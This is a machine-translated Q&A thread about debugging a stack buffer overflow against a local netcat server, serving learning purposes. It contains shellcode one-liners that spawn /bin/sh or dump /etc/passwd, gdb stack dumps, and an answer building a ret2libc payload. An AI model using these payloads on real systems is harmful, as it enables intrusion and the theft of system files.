服务器上的缓冲区溢出

逆向工程 数据库 开发 缓冲区溢出 外壳代码
2021-06-18 12:27:07

我有一个服务器(供参考:pastebin.com/ghJX69uH),我可以netcat使用它,它会要求输入消息。

我知道它很容易受到缓冲区溢出的影响,但我似乎无法运行 shellcode。我已经成功地将返回地址指向 NOP 幻灯片,它击中了/bin/sh但它没有产生外壳。这是我的代码:

echo "`python -c 'print "\x90"*65517 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"  + "\xac\xf3\xfe\xbf"*10 + "\n"'`" | nc 127.0.0.1 1111

这是一个简单的缓冲区溢出 [NOP SLIDE | SHELLCODE (spawn shell /bin/sh) | return address]

第一张图片显示返回地址是0xbffef3acNOP sled,所以一切正常!第二张图显示了一个没有外壳的 SIGSEGV,什么也没有发生。

在此处输入图片说明 在此处输入图片说明

这里发生了什么?我看了一下ebp,它显示了一些奇怪的东西:我的\x90后面应该是我的 shellcode,但看起来不同。关于可能出什么问题或如何解决这个问题的任何见解?

0xbffef42c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffef43c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffef44c: 0x90909090  0x50c03190  0x732f2f68  0x622f6868
0xbffef45c: 0xe3896e69  0xbffef468  0x00000000  0x6e69622f
0xbffef46c: 0x68732f2f  0x00000000  0xbffef3ac  0xbffef3ac
0xbffef47c: 0xbffef3ac  0xbffef3ac  0xbffef3ac  0xbffef3ac
0xbffef48c: 0xbffef3ac  0x00000000  0x00000000  0x00000000
0xbffef49c: 0x00000000  0x00000000  0x00000000  0x00000000

编辑:代码格式来自 numberphile,shellcode 来自http://shell-storm.org/shellcode/files/shellcode-827.php,我运行并生成了一个 shell。我尝试在 shellcode 和返回地址之间添加填充(我放了 A),但奇怪的事情又发生了:

New code: echo "`python -c 'print "\x90"*65490 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"  + "A"*27 + "\xac\xf4\xfe\xbf" + "\n"'`" | nc 127.0.0.1 1129


0xbffef42c: 0x90909090  0x90909090  0x90909090  0xc0319090
0xbffef43c: 0x2f2f6850  0x2f686873  0x896e6962  0x895350e3
0xbffef44c: 0xcd0bb0e1  0x41414180  0x41414141  0x41414141
0xbffef45c: 0x41414141  0x41414141  0x41414141  0x00000001
0xbffef46c: 0xbffef4ac  0x08049000  0x00000004  0xbffff4a4
0xbffef47c: 0xbffff490  0xbffff48c  0x00000004  0x00000000
0xbffef48c: 0x00000000  0x00000000  0x00000000  0x00000000
0xbffef49c: 0x00000000  0x00000000  0x00000000  0x00000000
0xbffef4ac: 0x00000000  0x00000000  0x00000000  0x0000000

编辑:所以我设法成功打印了所有的 etc/passwd,但不知道为什么 /bin/sh shellcode 不起作用

作品:/etc/passwd

echo "`python -c 'print "\x90"*65478+"\x31\xc9\x31\xc0\x31\xd2\x51\xb0\x05\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xcd\x80\x89\xd9\x89\xc3\xb0\x03\x66\xba\xff\x0f\x66\x42\xcd\x80\x31\xc0\x31\xdb\xb3\x01\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80"  +"AAAA\x9c\xf3\xfe\xbf\x9c\xf3\xfe\xbf" + "\n"'`" | nc 127.0.0.1 2010

不起作用:/bin/sh

echo "`python -c 'print "\x90"*65513 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "AAAA\x9c\xf3\xfe\xbf\x9c\xf3\xfe\xbf\x9c" + "\n"'`" | nc 127.0.0.1 3003
1个回答

我们有两个主要的缓冲区溢出堆栈保护:

  • 堆栈金丝雀
  • 不可执行的栈

您降落在 nopsled 上,但是您遇到了分段错误。因为您的操作系统将程序堆栈标记为不可执行,并且处理器在程序计数器寻址该段时引发异常。但是,即使我们有一个可执行堆栈(对于 GCC 使用-z execstack),您的程序也会崩溃:

算术异常

我将 shellcode 更改为读取 /etc/passwd,它可以工作到另一个 SIGSEGV。为什么您之前的 shellcode 不起作用与此无关,这是一个实际问题。

/etc/passwd shellcode 有效

对于另一种情况:

我们如何绕过不可执行的堆栈?最常见的方法是使用 system(const char *)称为ret2libc(返回到 libc)的方法。但是,为了简单起见,我们将使用 _exit(int)。对于我们的新攻击,我使用不可执行堆栈选项编译它并发送相同的流。

$ nc localhost 1337 < exp.loit

让我们看看我们的堆栈:

堆

我们无法理解您输入的哪一部分溢出,我们需要它来传递参数。我尝试了一个不同的有效载荷来找到去哪里:

python -c 'print "\x90"*65482 + "\x31\xc9\x31\xc0\x31\xd2\x51\xb0\x05\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xcd\x80\x89\xd9\x89\xc3\xb0\x03\x66\xba\xff\x0f\x66\x42\xcd\x80\x31\xc0\x31\xdb\xb3\x01\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80"  + "\x90"*12 + "\xac\xf3\xfe\xbf" +"\x00\x11\x22\x33"*2 + "\n"' > exp.loit

我们得到:

新输入的堆栈

我们只需要_exit地址

gdb-peda$ p &_exit
$1 = (<text variable, no debug info> *) 0xb7ec6f24 <_exit>

现在我们准备执行我们的漏洞利用:

python -c 'print "\x90"*65482 + "\x31\xc9\x31\xc0\x31\xd2\x51\xb0\x05\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xcd\x80\x89\xd9\x89\xc3\xb0\x03\x66\xba\xff\x0f\x66\x42\xcd\x80\x31\xc0\x31\xdb\xb3\x01\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80"  + "\x90"*12 + "\x24\x6f\xec\xb7" +"\x01\x00\x00\x00"*2 + "\n"' > exp.loit

最终利用

基本上 ret2libc 就是这样。